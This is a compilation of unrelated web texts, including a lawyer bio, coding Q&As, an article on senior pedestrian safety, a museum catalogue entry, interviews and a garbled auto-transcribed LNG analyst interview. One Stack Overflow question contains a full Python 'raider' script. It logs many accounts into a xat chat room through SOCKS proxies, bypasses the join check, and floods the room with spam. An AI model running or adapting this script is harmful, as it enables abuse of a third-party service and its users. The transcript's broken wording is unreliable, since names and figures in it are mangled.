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Adam Benevides is an Associate in the firm's Business Litigation, Professional Practices and Insurance & Tort Litigation Groups. Adam focuses his practice on representing plaintiffs and defendants in complex commercial litigation disputes, insurance and tort defense, premises liability, employment matters, construction litigation, and professional practices. Prior to joining the firm, Adam specialized in civil litigation at a boutique business law firm in New Bedford, Massachusetts where he gained significant experience in the areas of land use and zoning matters, contract drafting and negotiation and non-competition litigation. While in law school, Adam had the privilege of serving the Honorable William G. Young as a Law Clerk Intern in the United States District Court for the District of Massachusetts. He was also a member of the Suffolk National Trial Team and authored a thesis on the terminally ill's right to unapproved experimental drugs.
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Q: NextGen-Gallery show gallery but display only one image to click on To keep it short: I am working on a Wordpress website for a cliënt of mine and I want to display a gallery with the NextGen Gallery plugin.
What I want to achieve is the following: I want to display one image, and when someones clicks on that image it will open up the gallery in lightbox.
The exact same effect which I want to recreate can be find here: http://www.nextgen-gallery.com/imagebrowser/
But for some reason the Imagebrowser setting in the plugin only contains the navigation arrows underneath the image and not the lightbox effect.
The website on which I am working now can be find at: http://makramedia.beta-projects.nl/fotos/.
Also the lightbox effect is different here then on the website of NextGen Gallery and it only shows the first image of the gallery as if it was the only picture added. I have checked this in the admin but all images are added but not shown on the website.
(To make the website more clear, my client wants that every image on that webpage has its own gallery. I now have 3 images which should open 3 galleries but these don't work properly. )
I really hope someone can help me with this as I have already spent days on getting this fixed. If you need any additional info or data then please don't hessitate to ask me as I'm more than happy if someone can help me with this issue.
Your's sincerely,
Christiaan Bruinsma
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Older Americans are bringing youthful energy to the fight for safer streets.
While on the national stage, advocacy titans like AARP are pushing for Complete Streets, in neighborhoods around the five boroughs, T.A. activists are partnering with senior centers, intergenerational justice groups like the Gray Panthers and anyone else who wants to make sure that local streets serve everyone equally.
"In New York City, seniors make up 12 percent of the population, but they account for 36 percent of total pedestrian fatalities every year," said Gene Aronowitz, a 75-year-old Transportation Alternatives volunteer who teaches street safety classes at senior centers and residences around the city.
For years, T.A. has fought for engineering improvements that can help aging New Yorkers stay active and safe, such as extending pedestrian crossing times at crosswalks to accommodate slower walking speeds, constructing pedestrian safety islands, widening curbs and medians, narrowing roadways and installing new stop controls and signals.
After T.A. advocated for the targeted application of these enhancements in communities with a high population of older residents, the City adopted a program called Safe Streets for Seniors in 2008. Since its inception, pedestrian fatalities have decreased 19 percent citywide, from 58 senior fatalities in 2008 to 48 in 2012. Of course, there's clearly more to do. That's one of the reasons T.A. has broadened its efforts to include more education.
"Walkable, livable neighborhoods help seniors live independent, happy lives," said T.A.'s Manhattan Organizer Thomas DeVito. "When older people feel unsafe on our streets, when walking to the super market or a park causes anxiety or strain, that is a major quality-of-life issue for hundreds of thousands of New Yorkers.
Aronowitz has taught about 15 street safety classes so far, mostly at centers and residences in Manhattan and Queens. He advises participants not to cross the street immediately upon arriving at an intersection with a walk signal, as there's no way to know how long the signal has been on. It is smarter, he says, to wait until the light cycles to the next walk phase. He also cautions participants about bicyclists, cars that make U-turns or drive in reverse and other common situations that could turn deadly.


Ann Romney was made into somewhat of a target yesterday by Hilary Rosen, a democrat strategist. In this interview, Mrs. Romney defended herself, Mitt Romney and her position. There are several great nonverbal tells exhibited in this segment. This is not a political commentary, rather an objective body language analysis of the moments encapsulated here.
At multiple times [2:18 (a microexpression), 4:02-4:04, 4:05-4:12 (slows in frequency), 4:43-4:59, 6:11-6:16, 6:28-6:31, 7:27-8:05], while Mrs. Romney is waiting for Martha MacCallum to finish her statements/questions (Ann is not speaking), the potential first lady's head undergoes a quick side to side movement in a moderate-to-high frequency (relatively fast) and low amplitude (less than a centimeter) manner. Her upper body takes part in this movement to a lesser degree as well. This nonverbal, coupled with her mid-face tension (around the nose, nostrils, just below the nose and the upper lip) signals anger and indignation. It is a sign of a increase in adrenaline as well as a crescendo of sympathetic nervous system activity - here in the context of anger. Mrs. Romney is mad. When she is not expressing herself verbally, this negative emotion "shifts" and is expressed nonverbally instead. Although she's doing a pretty good job of letting her anger "roll off her back" - it's leaking out for us to see here.
There's another nonverbal that Mrs. Romney displays in this video, that if I were coaching her I would want her (or anyone else) to eliminate immediately. Specifically, she puts her hands together in a "pseudo-praying" configuration and then gesticulates them together in an up-and-down motion, while pointing them directly at the audience (seen during time-marks: 5:12 - 5:41). This is a somewhat toned-down version of a conventional steeple amalgamated with pointing and wagging one's index finger at the audience. It's patronizing and condescending. This does not build rapport, rather it destroys it. She should stop it. This particular nonverbal tends to be used by females considerably more than males - and alpha females in particular. Michelle Obama uses it as well. She should stop it too (Mrs. Obama can be seen in a still image here displaying a variation of this manifested in a "low steeple" body language: Secret # 1093: When NOT to be Alpha).
Take note also of how Ann Romney takes a deep breath after each time she speaks. This body language is related in cause-effect to the "Puffer Fish" (see Secret # 1122: Tiger, Pebble Beach and the Puffer Fish). Her overall respiration (breathing) rate is also significantly increased - which is consistent with any anxiety state and certainly with anger.


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Kuyalwa, Second Abbot of Taklung Monastery, with Three Lineages
Description This painting commemorates Kuyalwa (1191–1236), the second abbot of Taklung Monastery in central Tibet, home to a prominent branch of the Kagyu Buddhist monastic tradition. Kuyalwa sits on a lotus throne at the center and raises his right hand in the gesture of reassurance. The figures surrounding him include members of three teacher-student lineages, who transmitted the sacred knowledge and rituals that were taught and practiced at Taklung. Directly above Kuyalwa is his teacher, Tashi Pal (1142–1210), the first abbot of Taklung. He is flanked by the previous two teachers, Phagmotrupa Dorje Gyalpo (1110–1170) and Gampopa (1079–1153). Gampopa, to Tashi Pal's right (viewer's left), received the teachings of three lineages. One begins in the painting's upper left corner, with the primordial Buddha Vajradhara, followed below him by the four great masters who preceded Gampopa: the mahasiddhas Tilopa, Naropa, Marpa, and Milarepa. In the painting's upper right corner, a second lineage begins with Atisha, wearing a yellow hat, and continues with three additional teachers. The remaining figures on the right side, beginning with a lama wearing a smaller yellow hat, belong to the third lineage. The patron of the painting, depicted in the lower left corner, belongs to the generation at Talkung that received teachings from Kuyalwa. He is probably Sanggye Yarjon (1203–1272), the third abbot of the monastery, who is named last in the lineage recorded in an inscription on the back.
Desire and Devotion: Art from India, Nepal, and Tibet in the John and Berthe Ford Collection. The Walters Art Museum, Baltimore; Santa Barbara Museum of Art, Santa Barbara; Albuquerque Museum, Albuquerque; Birmingham Museum of Art, Birmingham; Hong Kong Museum of Art, Hong Kong. 2001-2003.
Mirror of the Buddha. Rubin Museum of Art, New York. 2011-2012.
Provenance Stuart Perrin, New York; purchased by John and Berthe Ford, Baltimore, February 1994.
Inscriptions Consecratory inscriptions on back of tangka, in Sanskrit and Tibetan, written in Tibetan scripts. Central inscription, written in the shape of a chorten, includes Sanskrit names of lineage of teachers for Taklung monastery, from Vajradhara to Sangye Yarjon ("Prajnaguru"). Published in P. Pal, "Tibet: Tradition and Change" (p. 51, Singer trans.) and in P. Pal, "Desire and Devotion: Art from India, Nepal, and Tibet in the John and Berthe Ford Collection" (pp. 232 and 330, Templeman and Lhalungpa trans.).
Credit Promised gift of John and Berthe Ford
Tibetan (Artist)
mid-13th century
paint and gold on cotton
H: 11 1/8 × W: 8 1/4 in. (28.26 × 21 cm); Framed H: 33 3/4 × W: 21 3/4 × D: 2 in. (85.73 × 55.25 × 5.08 cm)
Tibet, Taklung Monastery (Place of Origin)


Rosie is founder of Ministry of Testing (www.ministryoftesting.com) and an unschooling mother to 4 amazing children. She use to be a software tester, but now runs the growing Ministry of Testing whilst also unschooling her kids.You can find her on personally on @rosiesherry, RosieLand (www.rosiesherry.com) and UnschoolMe (www.unschool.me).
I read that you started with creating the STC forum and now Ministry of Testing has become a bit of an empire. You've got STC, TestBash conferences and the Dojo (among other things) - when did you realise that what you were doing could impact a lot of people and have a massive reach?
It's been almost 10 years since I started Software Testing Club, and 6 years for Ministry of Testing and the TestBashes. Part of me thinks that deep in my heart I knew I could always make an impact, I just never knew how much. I really knew that the testing community needed more and we as a whole were generally not doing enough. Something inside me said that if I kept going then something good would come of it, I didn't know what though! This seems to be becoming true.
But honestly, it's only been the past couple of years where things have gained 'big' traction. It's the whole snowball effect - the foundations are hard and slow to build, but once it gets going it gets bigger and bigger, super fast! These days I feel a bit overwhelmed with the support and all the things happening. The truth is that I honestly think things are just getting started. This frightens me as much as it excites me!
I wouldn't have believed it if someone had told me 5 years ago that I would be helping run multiple conferences across Europe and in the US by 2017. I'm really not great at compliments, I just like to get on with doing good things every day. I credit our growth to the community, they have embraced the work I do with such great support.
Has there been a specific feedback from something you helped create (e.g. TestBash, Dojo, STC, The Testing Planet) that moved you or stayed with you? If so, how and why?
Usually it is what is perceived as the little things that we do that mean a lot to me. Giving scholarships and support to people, for example, have really changed people's lives. Emma Keavney is probably the most well known example.
I sometimes get people saying that my work has kept them in testing or re-ignited their passion. I know how important that is as I've experienced the same lack of interest and passion issues.
Or sometimes we help people get published or give them their first shot at public speaking. That's always awesome to experience and watch people grow.
Equally as important is the simplicity of spreading what we do. Seeing people wear our tshirts. Stickers on laptops. The knowledge that people have benefited somehow because of us. Well, that's kind of awesome in all kinds of non-measurable ways.
These kind of things are so important. One on their own is not a big deal. All of them combined, and spread out over time is what keeps me going. I'm just someone called Rosie who struggles along too. I often question myself, my ability and my role. People don't know this, but often I just want to pack it all in. The overwhelm these days is massive. Combine that with managing day to day family stuff, health issues a new and very attached baby, it almost sent me over the edge last year. The positiveness from the community and taking things one day at a time is really what keeps me going, especially through the tougher times.
In your blog, you write that you've achieved everything with the support of your husband (and he made his achievements with your support when your career took a backseat at the time). Is there any advice you would like to give to couples who 'takes turns" making sacrifices in their career?
I think I can only speak from my experience and the kind of person I am.
I like to think that the world is changing and that more and more people are not so quick to judge people for not having some magical and perfect CV that fits together like an immaculate jigsaw puzzle. People look at CVs and often look for flaws, when I look at people I look for the brightness, the gaps, the little hints of genius and the really humanity in them.
I'm grateful I had the time to figure out how to turn Ministry of Testing into a business, my husband's previous work allowed me to do that. Luckily my husband has awesome business and tech skills, he's been pretty key to helping things fit together to help us grow whilst giving him the flexibility to be with the kids and do other things that a normal job wouldn't normally accept.
I don't think my husband sees what he is doing now as a sacrifice, in fact I know he really appreciates and needs the flexibility we now have.
Overall - what has been key is that we've both kept active and up to date with our skills. We're always learning. Trying to move forward personally, health and career/business wise. We believe this gives us the best chance to give each other the flexibility as and when is needed - health issues and pregnancy have been big ones for us to adapt to recently.
I remember going to TestBash Brighton 2016 and being blown away by the atmosphere and how warm and friendly everyone was. You created an amazing environment there. When it comes to a TestBash conference, what makes you feel like it's been successful?
I know the talks are super important, TestBash wouldn't be a great event without them. But one of the biggest things that make it work are that people want to be there. We pre-empt people to expect warm, fuzzy and friendly behaviour.
We tell them on stage that no one should be left on their own and that it is everyone's responsibility to reach out to a tester standing on their own. I go with my guts on many things - and I believe that if we become friends and have some trust between each other, then as a result further along the line good things will happen within the testing world.
A successful conference is a majority of good talks combined with testers having a good time and making new friends. I would feel really sad if people came away from TestBash without making new connections. And even more sad if people didn't show up for the meetups!
I believe learning starts at TestBash. The social connections, the inspiration, the opening up to new ideas is what makes it so interconnected. The effects of TestBash happen all year round.


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Q: Python Multi-Threading, append different values to a method See the code below, "J2".
In the xml j2 as you can see "Y=getY" it's doing that for each id+pproxy(multithreading)
Now what I want is, I want it to continue changing id and k2= but use the same Y for only 3 times.  Then after that get a new Y and do the same..
So for example
<j2 Y="one value" id="3 multi threads pass trough" k="3 multi threads"

and then after that <j2 Y="new y value because only 3 ids can pass through one Y" id="same again" k="same again">
j2 = str('<j2 cb="'+rcv.attrib["c"]+'" Y="'+str(Y[0])+'" l5="'+str(Y[1]).strip()+'" l4="583" l3="463" l2="0" q="1" y="'+rcv.attrib['i']+'" k="'+k+'" k3="0" p="0" c="'+str(info[2])+'" f="0" u="'+str(uid)+'" d0="0" n=" " a="0" h="" v="0" />\0')

The Y value should be the same while 3 ids pass through it, then when 3 have passed through it, grab a new Y value.
Take a look at this script:
import socket, socks
import xml.etree.ElementTree as tree
import time, random, urllib2
import threading
from itertools import izip
def gB(data,first,last):
    x=len(first)
    begin = data.find(first) + x
    end = data.find(last,begin)
    return data[begin:end]
def isInt(buf):
    try:
        i = int(buf)
        return True
    except:
        return False
def ip(roomname):
    if isInt(roomname):
        room = roomname
    else:
        room = gB(urllib2.urlopen('http://xat.com/'+roomname).read(),'FlashVars="id=','&xc=')
    room = int(room)
    x = urllib2.urlopen('http://xat.com/web_gear/chat/ip.htm?'+str(time.time())).read()
    x = tree.fromstring(x)
    xSock = x.attrib['xSock'].split(',')
    rSock = []
    while len(rSock) < 4:
        rSock.append(xSock[len(rSock) * 4 + random.randint(0,1)])
    return rSock[(room & 96) >> 5],int(10007 + (room % 32)),room
def parseID(auser3):
    auser3 = auser3.split('&')
    userid = auser3[1].split('=')[1]
    k1 = auser3[2].split('=')[1]
    k2 = auser3[3].split('=')[1]
    return [userid,k1,k2]
    return l5
def getY(au, p0, p1, p2, p3, yi):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect(("127.0.0.1",1337))
    sock.send(au+"_"+p0+"_"+p1+"_"+p2+"_"+p3+"_"+yi)
    data = sock.recv(1270)
    parse = data.split("\"")
    sock.close()
    print "Y => "+parse[1]+" L5 => "+parse[3]
    return [parse[1], parse[3]]
def raider(a3,p):
    info = ip(chat)
    try:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, p[0], int(p[1]))
        socket.test = socks.socksocket
        xat = socket.test(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
        xat.settimeout(10)
        xat.connect((info[0],int(info[1])))
        xat.send('<y r="'+str(info[2])+'" />\0')
        bypass = xat.recv(1024)
        print "\nRecv --> "+bypass+"\n"
        rcv = tree.fromstring(bypass.strip("\0"))
        if 'i' not in rcv.attrib:
            raise Exception("YUP")
        import pprint
        pprint.pprint(a3)
        uid = a3[0]
        k = a3[1]
        if 'au' in rcv.attrib:
            Y = getY(rcv.attrib["au"], rcv.attrib["p"].split("_")[0],rcv.attrib["p"].split("_")[1],rcv.attrib["p"].split("_")[2],rcv.attrib["p"].split("_")[3], rcv.attrib["i"])
            j2 = str('<j2 cb="'+rcv.attrib["c"]+'" Y="'+str(Y[0])+'" l5="'+str(Y[1]).strip()+'" l4="583" l3="463" l2="0" q="1" y="'+rcv.attrib['i']+'" k="'+k+'" k3="0" p="0" c="'+str(info[2])+'" f="0" u="'+str(uid)+'" d0="0" n=" " a="0" h="" v="0" />\0')
            xat.send(j2)
            print "\nSend [Bypass] --> "+j2+"\n"
        else:
            Y = getY(str(0), rcv.attrib["p"].split("_")[0],rcv.attrib["p"].split("_")[1],rcv.attrib["p"].split("_")[2],rcv.attrib["p"].split("_")[3], rcv.attrib["i"])
            j2 = str('<j2 cb="'+rcv.attrib["c"]+'" l5="'+str(Y[1]).strip()+'" l4="583" l3="463" l2="0" q="1" y="'+rcv.attrib['i']+'" k="'+k+'" k3="0" p="0" c="'+str(info[2])+'" f="0" u="'+str(uid)+'" d0="0" n=" " a="0" h="" v="0" />\0')
            xat.send(j2)
            print "\nSend --> "+j2+"\n"
        while 1:
            time.sleep(1)
            xat.send('<m t="   | XAT IS CORRUPT |   " u="'+uid+'" />\0')
    except:
        pass
chat = raw_input("Chat to raid: ")
ids = [i.strip() for i in open('ids.txt','r')]
proxies = [i.strip() for i in open('socks.txt','r')]
for (i,j) in izip(ids,proxies):
    i = parseID(i)
    j = j.split(':')
    threading.Thread(target=raider,args=(i,j)).start()


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Q: Perl: Copying array elements into single string I am trying to copy each array elements with slight modification into single string variable in Perl. What I want is to copy each element by adding 0x prefix into string. This is what I have tried so far:
#!usr/bin/perl

  use strict;
  use warnings;

  my @values = (01, 02, 03, 04);
  my $res = "";

  foreach my $val (@values) {
    $res = join '', "0x", "$val", ", ";
  }

  print "$res\n";

  exit 0;

As a result I got just 0x04,. Wanted result should be like: 0x01, 0x02, 0x03, 0x04

A: In your loop you overwrite the string in every iteration. That is why you only get the last value.
You can use join() over the whole array, not just the individual parts of an element. To prefix and zero pad the numbers and get their hexadecimal representation in the array you can use map() and sprintf().
#!/usr/bin/perl

use strict;
use warnings;

my @values = (01, 02, 03, 04);
my $res = '';

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Love Someone – An intimate evening with Johnny Reid
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Six-time JUNO Award winning singer-songwriter Johnny Reid has just released his brand new full length album, Love Someone via Universal Music Canada, the country's leading music company. Love Someone is available digitally as well as on CD and 2LP 180 Gram Vinyl, stream or order the album HERE.
Love Someone is the artist's eleventh album and features 14-tracks in which Reid leans into his country roots. The album marks the artist's most intimate and inspired collection of songs to date. True to Reid's wide range of repertoire, the album is a refreshing blend of country, pop and soulful ballads. Highlights include the album's lead single, the pop country track, "Hey Delilah," the beautifully heartfelt, "I Owe It All To You," and "Have A Little Faith In Me" a cover of the John Hiatt classic. As a bonus, the album includes a special acoustic version of Reid's moving song, "People Like You," dedicated to the people of Nova Scotia after the devastating tragedy that hit their tight knit community in April 2020. In his new video series, Reid shares the stories behind Love Someone and reveals his songwriting process. Watch Take Some Time, Love Someone: The Stories Behind The Music HERE.
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I-it's. A Amit Marwa here Director, of Investor. Relations and, finance at tellurian, today. I have the pleasure of joining, me Mike Weber. Senior, analyst. Shipping. At Wells Fargo hey. Mike how's it going great thanks for having me I love the interest, music by the way I love that song we're. Trying to please the car out that's great it's, an oldie but a goodie good deal. So, I've known Mike for a few years I used his help when I was on the buy side he's, been around, quite. A bit he's, institutional, investor. Ranked do you want to give us a brief a brief background of your yes, sure, so, I. Started. At I. Guess I came over from Deutsche Bank about 10 years ago to take the senior shipping seat at Wells Fargo cover. 35. Names, across. Shipping NL and G now, so. I focuses, having a really. Midstream, downstream, and upstream LNG. Exports, so companies. Like yourselves. Cheniere. Goal. Are gas, log. TK. Those kind of names then all the way down to the floating reed gas also. Cover tankers and containers and box leasing, and, LPG. And. In, dry bulk so pretty, wide coverage I've got a pretty big team a lot, of different verticals a lot, to keep on top of but LNG. Is easily my favorite sector spec person most of my time you're. Dealing with some aspect, of the LNG, supply chain so, you're one of the few analysts, that we at. Least I've seen you at various industry conferences, I think you're pretty plugged-in, to how both the, producers. As well as the investors, are thinking, about the space at various, depending. On their investment. Horizon, can you talk a bit about how from. As a shipping, analyst how your approach is, unique. Versus traditional energy analysts, and midstream, analysts, who are trafficking. The same LNG, infrastructure. Space for a Stickley, and globally yeah you know I should say it you know it's, been, kind of a gradual transition when. We covered, covered. A dozen. Marine ml fees and GPS the past five or six years which have been, kind of move from the periphery towards the center of kind of the energy and MLP landscape, so yeah names, that you know proposed they don't own, crude. Producing, assets, LNG. Carrier so we've kind of been gradually. Sliding, towards the center of the energy universe so I don't know that our approach is all. That different, I would say that we you. Know my underlying coverage tends to be pretty volatile, it, tends to be pretty. Asset, intensive, so, we tend to look at nav. Some of the parts and event risk quite. A bit, I've. Never really covered sectors, or names we're just gonna plug in some. Real high-level top-line, growth rate, and kind of call it a day, perspective. Right so you know we like to like, to do deep dives and really get in the weeds usually, there's a healthy degree a balance sheet risk around any, of these sectors and names especially. If they're mismanaged. So. I'd say in terms of our approach you, know we tried to especially with LNG especially, with with upstream and the export names it's, it's at this embryonic stage, for. At least US public, equities, so getting our arms around. The. Breadth of the global market, and really the sequencing, for how some of these projects, can get done what. The global bid looks like it's. It's really like drinking River rose there's a lot to try to figure out and I think you know globally. Everyone still kind of figure that out so we wanted to make sure we weren't too narrow in our focus and just say we're. Gonna cover one. Name in one project and that's the one that's going to get done for. No particular, reason we wanted to make sure we had a really reasonable. And, sound basis, for. Everything. We said, and did and ultimately you know this. Seaton my job is about credibility so you want to share your you know you can use that very very easily so so, I guess on the back of that this is probably the next wave I guess, the way you put it in your most recent.
Initiation, You got wave. To of LNG US, Gulf Corp Gulf, Coast capacity, that's coming online you initiate it on us next. Decade, and. A couple others can you can. You talk a bit in terms of, what the reset, look like your. Evolution, over the last couple of years transitioning. From I guess tankers, to floating, LNG. The. Largest, domestic. Onshore. Liquefaction. Provider, yeah, how did that impact it, your process, in terms of looking at the wave to I guess. Yeah G project. Is gonna be online in public companies it's. A good questions I think when when the street first started looking at liquefaction. In general there's really only one option and of course that was gonna be the one that worked and you didn't relate to think about global. Competitive, dynamics, to the same degree they think it's a lot it's it's, the. Sector is kind of maturing, and I would say that we you. Know our. Process. I ran our thought process, around the group is certainly gonna mature along, with that to where you know we're, much more in the weeds now than we were two or three years ago around, you. Know what. Global SBA structures, look like where you know where, demand is coming from who's real and who's not and. Just trying to be thoughtful about really every aspect, of the process. The. You. Know the reset, or the kind of the idea behind the second wave. You. Know think we. Run the same kind of kinds. Of supplying. Two-man models that everyone else does and they've added, up 130 million tons of incremental demand between now and 2025. I think would max around 150. You're. In the fair we're in the fairway probably maybe a little bit more than conservative, side but you. Know so you know we get to uni, back out the 75 million tons that's being produced, right now that'll deliver in. The next or, come. To completion in the next couple years that leaves another 75. Potentially. To be absorbed by new projects, and that, kind of narrowed the scope for us to say this is what we had to play with at least for the 2020, to 2025 window, there's certainly a window beyond that and. Then, from. There we wanted to get a good grasp of what the global marketplace, looked like in the global project subset. Looked like to try to priority. Rank or kind of handicap. You. Know who's you know who's got the best likelihood of moving forward and it's very difficult because you know the nature of the people they're competing in the space is all, over the map I mean you've got you, know nation states you know that. Don't, play play about the same financing, rules you know a very, different kind of set, of geopolitical, factors impacting. You know cutter or even you know both, both domestically, and what they've got in Texas.
You've. Got shale, and Exxon you've got you know small guys like Oh Lord nibbling around the edges in West Africa, so it's really it's, actually unique in the sense that you know if I look at all the other sectors I cover who's, competing, in those sectors this is the widest, band, of competitors. The, easily, among any anger that I cover and do you think it's harder to handicap, these projects, this time around even though you've got more information you've delineated, more of these projects, you have track, records, you, have a better sense for you know where the credit risk is execution, risk do you think it's harder even though you got this much more information, yeah I think I think I, think it's hard because it's we don't yet have an accurate snapshot of, what the, priority, list for buyers truly. Looks like right. There if you could just have you had a set of criteria that. Was pretty. Firm you could just go down the list very. Accurate with this but you know the idea I think there's an idea that that that, every. Buyer is gonna be looking for the lowest cost gas I sure I think to a degree that's, true but I don't know that we've seen a ton of drew monster the monster Vil evidence to support that yet right, I think we I think we will, but. To what degree I think is a big question and, and how do those you know things like security supply. You. Know term. Structures, options. Include that you know how does how, does that actually impact, the. Middle, of the list and like you know you know how do those different factors interact of one other it's really really difficult right, especially, especially when you're dealing with with. Competitors. Globally. In nations, really that. That. Don't play by any financing, rules right so it's very from my perspective is very hard to get your hands around and I haven't really talked to anyone that can definitively say sure this is the exact order and this is how it's going to happen I think we're all kind of guessing at it right so, I guess, if we had to distill it down to three, things what, would you say we're like two top three conclusions, out of you out of the work that you did in the initiation, I, think that's the second half of that question is well what type of pushback did you get from the buy side in, terms of the conclusions, you came up with versus. Consensus, yes what's already out there yes, I would say the the, first. Conclusion, just really, kind of getting our arms around what the opportunity, set look like then with the competitor subset look like it, makes a ton of sense to me why second. Way projects, in the u.s. such as yourselves have to hustle right there's there's a wall out, there then, we just don't know when it's gonna come and if, if all of it will come but. There's, two. Just simply get in the back of the wine right, is is a recipe for failure right, so I think it's. Certainly you know when I talk to investors and we talk about the space and you. Know probabilities, and who's likely to get done you, know it's it's number. One is hustle. Right that gets guy if you're gonna get down into this window you're gonna have to beat some big projects, it might have some big risks and some big hurdles overcome, in terms, of First.
Nations Or geopolitical factor, is that there couldn't certainly be a window but you're not going to get there by kind of taking your time okay and you got to be creative which is something we've talked about with with your model quite a bit right is it's kind of an an elegant. Solution to kind, of you, know a head start. It's. It's it's sad to think it's resonated pretty well with investors. In, famila takeaway is you know I think you, know it's funny that you know the we've talked a great deal about this but kind of the implied probabilities, with the market i think the mark is still kind of wrestling, with the. Things that i'm talking about and how to accurately probability. Weight projects, and really, get a handle on what matters and i think that's gonna remain for quite a while as people still try to figure out you. Know, false. Starts, and you know maybe someone might be completely Furka proved and it's project still might not get done I'll Lake Charles are still sitting there not so. And. And that was the one thing I want to say I would say is that there are some other companies, to cover like a goal or yeah where they've kind of been on the periphery they're never get you know they're not nearly the same size and scale but, they've been kind of nibbling around the edges, of the liquefaction, space kind of taking two, and a half million tons at a time and you. Know they've always at a very hard time with getting forward credit, or not always but in these last few, years yeah and I think that it's. You know in an odd way the, emergence, of the, second wave group in the US has actually helped them quite a bit because we might be wrestling, with what, kind of forward credit to give right any of the second wave projects, where you're looking and you could look at them say well winterman they've got they've got one done they're, on the gold one with a second they've got a feather so I think it's actually helped Samir. You're I wouldn't really call them a competitor I think it's more of kind of a, peripheral. You. Know maybe, appear anything right so you're essentially saying that the wave, to us projects. Are allowing, some of the other companies, that are out there to capitalize, some of that valuation, into. Their current equity, prices and. Yes. I, think I think it's helping to provide, more context, for the progress that some of these early adopters have made so, it's and this is what, they do they haven't the focus on floating liquefaction which is you, know even, more esoteric right, so it's there were some high hurdles there and there's a lot you know that we can get into the nuances that story but I think it's just the more visible the second wave has been and you guys have certainly led the led the way on that that it just provides more context, to a market that's still kind of coming into wood but why don't we talk about that a bit a lot of idea our, dinners that we do with institutional, investors, both women I was on the buy side and, on the sell side you're still seeing the same debate right now sometimes, people get really religious, about this the debate between floating.
LNG Versus. The merits of traditional. Onshore. Mega, large-scale. Projects, can you talk a bit about that how do you guys think about it you've seen both both, sides of the story yeah you know I wouldn't say that they directly compete. Yet I think it's transition, from you know the idea that floating low faction has been around forever I mean I think you know the first local faction train built at, least in the u.s. maybe ever was autumns on a barge right so it's been around for a long time right the problem for you know maybe the last 20 25 years with there there was this almost like an FPSO, model and the crude side where to. Get an F LNG project off the ground the guy that'd be providing the ask that effectively wanted to be you know last money in first money out right, and there, was way too much risk involved for that to work so, it took someone like goal or int or love to kind of take on a lot of risk, at. The right time to kind of get over the hump and build a shelf engineering, execution. For yeah is that the right way to think yes in terms of the risk and to really be entrepreneurial, around you know negotiating, with multiple parties at once and taking, the risk to build something on spec for a few months and really. Narrow the timeframe, you know you narrow the scope you say we have something delivering, we, need you know we need to get this figure down the next three months and it kind of it, it, brings everybody to the table I would. Say they globally. You, know it's gone from kind of a sideshow you know outside of say prey, right now they now would you like to use it you know fray loot is a Ferrari and what goal or does it's like a riding lawnmower right there look very different they're, very simple, yeah no, separate. Separation, treatment, is sure, half the time most of the projects they look at they're taking guests off the grid right. The. You're. Seeing it pop up more and more certainly. Around West, and East Africa, usually. Places where you don't want to build you. Know at the 15 billion dollar facility sure, but. You know there there are some cost advantages in the right scenario then you're typically going to places where the underlying, cost basis for the gas is gonna be extremely low yeah, and.
I Think what's been helpful is that you know they're usually pretty small bites they're two and a half million tons per asset. You have one, maybe two counterparties. Those. Counterparties, then feel like they have more sway they're, not getting in line behind you know you, know big Asian utilities, and. It. Helps facilitate. Potentially. Kind of a quick a quicker incubation, period for the project so I would say that now you know we've got you, know Mozambique, you can see floating assets, they're yeah they're. Equatorial. Guinea. Mauritania. You know I think it's. Still gonna it's moved in from the periphery I wouldn't say it's literally gonna jump to the front and center of every, energy investors, mind and let until it comes to the US Gulf, yeah Delfin, is a project that's been here for a while right you, know we have them they don't have been towards the front of our list we kind of have in them in there kind of that second tier that's really gotta hustle and die sure great a footprint, in a certain window. But. I would say it's gone from. Sideshows. A bit strong but it's certainly it's. Certainly more widely accepted, now I think gotcha. But not I wouldn't. Call them a true competitor yet, got, it I guess, on, the back of that before we continue from here how, do you in, terms of your perspective. I mean in. The valuation you came out with with, tellurian, I mean it was pretty conservative, I. Don't want to make this you know an episode of he. Beat me up on this off-camera it's fine I constantly okay, it's it's fine just keeping you in check yeah can. You talk a bit about goals. What. What do you think you've given where crude prices are right now given, where jkm, is right now. Other, products, going, to the second half of the year what. Do you think will cause an upgrade cycle, you've seen that you few firms coming out taking up their crude decks what, do you think will motivate you guys to rethink, and you look, at your your valuations, for the group I would say you know and I, would, love this conversation, and you know how much I like to argue so I will have this conversation spirit it's a market but it has less to do with the crude deck and fundamentals, and it does that with the with the competitor subset so when we looked at this you know we looked at every public us second wave company and we, looked at okay these are you know if there's 75 million tons up for grabs I can identify, 104. Million times that are tied the energy majors in nation states yep right that. Could close the window for everybody but those are not all going to come to the market in the next two, to three years they're gonna be significant, delays so there could be a window a window.
From. There we kind of narrowed it down another. 10. Projects, or so I think that you would probably agree or you know relatively. Viable in that scenario that everyone has warts every nice things they need sure but, they're you know and. So when you look at when I look at you know say and. Say half that say, half that 75 million goes to well. You know what we would call you know second tier projects, and second tier literally means not backed by you, know right, so like it's a it's a solid tear, the. If, half, of that goes to kind, of more, merchant projects, you, know you know they're 10 companies and they're kind of competing for that right right and that's and what's the driving factor behind that as much as we all focus on you. Know open, season on pipe and, FERC, and everything else like it comes down to, what. Projects, are buyers really Willie really, willing to sign on the dotted line for and really commit themselves to do right and right when you get beyond say. A shell or someone that's going to park you know five or six FTAs, around the world but really they can hit on three or four or five and not care when, you go beyond that and you took Neolithic traders or, you. Know smaller you know maybe the Gallup recently signed an SBA some some smaller utilities. They're gonna be 15 16 billion a gap they might have one or two and it's gonna have a lot of due diligence on their part as you well know yeah, that goes into it so without, a ton of color, yet and without kind of clarity in terms of. Defining. Really, defining what matters the, most for that. Buying subset, when I look at that that project. List of ten we, kind of came up with a kind of a standardized, probability. Weighting to use on our dcs for all all, three, or four projects, so we shared up we, put that in place across the board and I can honestly say you know between, Tillery. And your competitors, there things I like about each, projects. Some. I think will ultimately matter more than the others yeah but the big thing that it to be clear that we came out with and we when we when we launched it was it we, separate time frame alright so in, terms of momentum and trend versus, kind of intermediate, in long term so well I don't think anyone can sit here and say the probability, to this project gets done is X, and I am I have a hundred percent certainty in that sure all right so that's that's more of a long-term proposition I, think we try to be very reasonable and, and thoughtful. About how we do that like the near term trend is very positive and I think there's gonna be a significant, amount of commercial progress, across.
